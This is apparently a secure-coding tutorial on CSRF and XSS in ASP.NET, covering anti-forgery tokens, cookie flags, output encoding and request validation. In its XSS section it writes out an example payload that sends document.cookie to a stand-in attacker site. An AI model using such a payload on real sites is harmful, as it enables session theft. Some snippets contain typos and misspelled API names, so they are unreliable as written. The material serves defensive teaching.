OWASP Top 10 #5 – Cross Site Request Forgery (CSRF)

What Is It?

Before we talk about CSRF it is important to understand that all cookies created by a domain are sent back to that domain during page requests regardless which domain the page originated from. This includes cookies which contain authentication session cookies.

Hackers can simply change the action attribute of a form to be that of the domain/URL they are trying to breach. An unsuspecting site would only ensure that the authentication session token is valid. It would therefore be possible to use the users open session to perform malicious actions such as saving or reading data from a database.

How Can I Protect My Self From It?

Protection from CSRF attacks has a simple solution. Send another cryptically secure token to the user along with the authentication session token. This token is sent both on the page being generated as well as a cookie.

Upon receiving a post back from a page, the server simply reads the CSRF token from the page and the cookie and ensures that they are identical.

As only a page generated from the site would contain the token, any fake page posting back to the server will be missing the correct CSRF token.

MVC

The MVC helper method AntiForgeyToken generates a CSRF token and persists it in a cookie and a hidden input element on the page.

using (Html.BeginForm())
{
  @Html.AntiForgeyToken()
}

Validation against a CSRF attack is made by decorating the controller’s action method with the ValidateAntiForgeryToken attribute.

[HttpPost]
[Authorise]
[ValidateAntiForgeryToken]
public ActionResult Index(McModel bigMac)
{
}

If a CSRF attack is caught a System.Mvc.HttpAntiForgeryException is thrown and the user is presented with a 500 status code.

ASP.NET Web Forms

A page written in ASP.NET web forms would traditionally need to manually perform the CSRF token, its persistence and checks to ensure they are identical when the page is posted back.

However we can now make use of the AntiForgery class.

https://msdn.microsoft.com/en-us/library/system.web.helpers.antiforgery%28v=vs.111%29.aspx

Within the aspx page a call to the GrtHtml method would generate the CSRF token which is then persisted within a cookie and an input element upon the page.

<%=System.Web.Helpers.AntiForgery.GetHtml() %>

Validation against a CSRF attack would then be performed during a page post back with the Validation method.

protected void Page_Load(object sender, EventArgs e)
{
    if (IsPostBack) {
        AntiForgery.Validate();
    }
}

Securing Cookies

Http Only Cookies

Using AntiForgery.GetHtml or @Html.AntiForgeyToken should create cookies which are secured for access by the server only and not via a client side script.

However where a more manual approach has been made to CSRF protection it is important to ensure that the CSRF token cannot be read from by a client side script. If this is not the case then a malicious page could read the token and simply add it to its form data before posting back to the server; circumventing our protection.

Cookies can be set as HttpOnly via a property during their creation:

var cookie = new HttpCookie("MyCookies", DateTime.Now.ToString());
cookie.HttpOnly = true;

Cookies can be set as HttpOnly globally for a website via the web.config:

httpCookies domain="String" httpOnlyCookies="true"

Note is it probably wise to set httpOnlyCookies to true regardless of your CSRF approach. Any information stored within a cookie which could be readable on the client side is probably a bad idea.

SSL Only Cookies

Where cookies contain sensitive information such as CSRF or authentication session token, it would be wise to enforce their transportation via SSL or HTTPS, as such preventing people from spying on the network traffic and therefore stealing them.

This can be done globally for a site within the web.config:

httpCookies domain="String" httpOnlyCookies="true" requireSSL="true"

However this approach might not always be possible. We can conditionally determine when to enforce SSL communication for cookies by checking the forms authentication settings and the connection for their status of secure connections. The individual cookie can then then be secured for SSL communication only via the Secure property.

var cookie = new HttpCookie("MyCookies", DateTime.Now.ToString());
cookie.HttpOnly = true;

if( FormsAuthentication.RequireSSL && Request.IsSecureConnection) {
    cookies.Secure = true;
}

OWASP Top 10 # 2 – Cross Site Scripting (XSS)

Cross Site Scripting (XSS)

What is it?

Cross-site Scripting (XSS) is a variation of a code injection attack where an attacker injects client-side script onto a vulnerable website which is later unintentionally executed by a user.

The client side script could be VBScript, ActiveX, Flash or JavaScript.

The attack makes use of unvalidated or unencoded user input which is outputted by the website and then executed by the user’s web browser.

How does it happen?

In its simplest form a script is taken from a query string parameter;

www.foo.com/foo.aspx?q=foo location.href = 'http://BadSite/DoSomethingBad.html?cookie='%2Bdocument.cookie

Here our query string parameter contains a malicious payload:

 location.href = 'http://foo/dosomethingbad.html?cookie='%2Bdocument.cookie

Rendering the requested parameter value as is within outputted html within a client browser, i.e. without any encoding, will cause the script to be executed.

Here we show how an injected script could pass the value of a cookie to our hacker’s site:

&lt;span&gt;
    You searched for  location.href = 'http://foo/dosomethingbad.html?cookie='%2Bdocument.cookie
&lt;/span&gt;

This cookie value could contain an authorisation token or other sensitive data which could be used to exploit the user further.

Sources of an attack

The client side script or malicious payload can come from many sources:

  • In the URL via a query string or route parameter
  • Http form posted
  • In cookies
  • Http request headers
  • Web services calls
  • Persisted in databases
  • Files such as XML, XSD, CSV

In fact anything which does not come directly from our source code should be treated as potentially malicious. That includes data and services from within the bounds of our company as well as data entered directly from our users, even if they are our colleagues operating on back office software.

How can I protect myself from this?

Protection of an attack should be multi-layered to maximise the protection. Any breached layer is simply one of many layers providing protection.

Output encoding

The primary method of mitigating from XSS attacks is to contextually escape untrusted and potentially unsafe data. This involves replacing certain string characters with their equivalent escaped and safe characters.

For example with a html encoding scheme the character is replaced with >

The string

&lt;b&gt;Hello&lt;/b&gt;

would be replaced with

&amp;ltbi&gt;Hello&lt;/b&gt;

The string would then be displayed as

&lt;b&gt;Hello&lt;/b&gt;

without the bold mark up being executed and the word hello being rendered in bold. The potentially malicious payload is made harmless.

There are several encoding schemes and the right one should be chosen depending upon where the untrusted user input is to be rendered into. These include HTML, JavaScript, CSS, URL and XML.

It is important that you use a well-proven library to implement output encoding and do not try to write your own.

Encoding HTML

As of .NEt 4.5 the anti XSS tool is built into the .net framework.

using System.Web.Security.AntiXss;

var encodedString = AntiXssEncoder.HtmlEncode(inputString, true);

The second parameter determines whether to use named entities. For example this changes the copyright symbol to ©.

In previous versions of .NET you need to download the anti XSS library which can be found within NuGet.

Html Encode

The .NET framework also includes HttpUtility.HtmlEncode and Server.HtmlEncode.

Please do not use these as they simply encode the characters , “, and &. This approach is not sufficient to prevent against XSS attacks. For example JavaScript such as “alert(‘smerfs’);” injected into an attribute of an input element would be executed.

JavaScript

Even in .NET 4.5, the anti xss capabilities does not extend to escaping JavaScript, you need to download the AntiXSS external library.

var q = &lt;%=Microsoft.Security.Application.encoder.JavaScriptEncode(Request.QueryString[&quot;foo&quot;])%&gt;

Self Escaping Web forms controls in System.Web.UI

When working with ASP.NET WebForms, some controls and their properties encode html, the following page highlights which do and which do not:

https://blogs.msdn.microsoft.com/sfaust/2008/09/02/which-asp-net-controls-automatically-encodes/

Output encoding in MVC

The razor view engine automatically html encodes output by default.

// the following automatically escapes
@Html.Label(&quot;&lt;b&gt;Hello&lt;/b&gt;&quot;)

When in the very rare circumstances you do not want encoding to occur you can explicitly override this functionality.

// Request non escaping with the raw command.
@Html.Raw(&quot;&lt;b&gt;Hello&lt;/b&gt;&quot;)

White listing allowable values

When collecting information from a user you should validate their input against a list of known safe values. This allows us to catch any invalid bad data very early on in the process.

Validation can be type conversion, regular expressions or even checking their inclusion from a list of known values such as colours or countries.

The following examines an input string is valid:

if(!RegEx,.IsMatch(searchTerm, @&quot;^[\p{L} \.\-]+$&quot;)
{
   throw new ApplicationException(&quot;The search term is not allowed&quot;);
}
  • \p{L} matches any kind of letter from any language
  • \, matches the period character
  • -, matches the hyphen character
    • indicates any number of these characters
  • ^ $ indicates that the input string starts and ends with these characters i.e. contains only these characters.

Request Validation

.NET provides request validation, an inbuilt protection of XSS that looks at all incoming data from within forms, query string parameters, route sections, header values etc. It will catch XSS attacks before it reaches your page.

This is enabled or disabled within the web.config:

 &lt;pages validationRequest=&quot;true&quot;&gt;
 &lt;/pages&gt;

This functionality is available since .NET 2, though by default it appears to be disabled in versions less than 3.5.

ASP.NET will automatically throw a HTTPRequestValidationException when it detects an XSS attack.

The method System.Web.HttpRequest.ValidateString is used to perform the check and raise the exception.

Disabling Request Validation

Disabling Request Validation At The Page Level

We can disable request validation on a page level:

&lt;%@ Page Title = &quot;&quot; ValidateRequest=&quot;false&quot; Language &quot;C#&quot; /&gt;

Disabling Request Validation At The Control Level

We can disable validation for a specific control.

&lt;asp:button Id=&quot;myButton&quot; runat=&quot;server&quot; ValidateRequestMode=&quot;Disabled&quot; /&gt;

This is a ASP.NET 4.5 feature and will need a change to the request validation model from 2.0 to 4.5:

&lt;system.web&gt;
&lt;httpRuntime targetFramework=&quot;4.5&quot; requestValidationMode=&quot;4.5&quot; /&gt;

Disabling Request Validation When Requesting Data

We can disable the validation when getting data sent within the Http request. This is done by calling the Unvalidated method before any call to the Http request data.

var foo = Request.Unvalidated.QueryString[&quot;foo&quot;];

Disable MVC

We can disable the validation request on model binding in MVC,

public class MyController {
    [HttpPost]
    public void DoFoo(MyModel model)
    {
    }
}

public class MyModel {
    [AllowHtml]
    public string Myfield { get; set;}
}

The AllowHtml attribute placed on any model or model’s field will allow that field to be bound to incoming data regardless of it’s contents.

The default action is to not allow unsafe data, whereby an exception will be thrown if it is deemed unsafe.

Other Encoding

The Anti-XSS library contains other methods for encoding data against XSS for URL, XML and other schemes.

More information can be found here:

https://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder_methods%28v=vs.110%29.aspx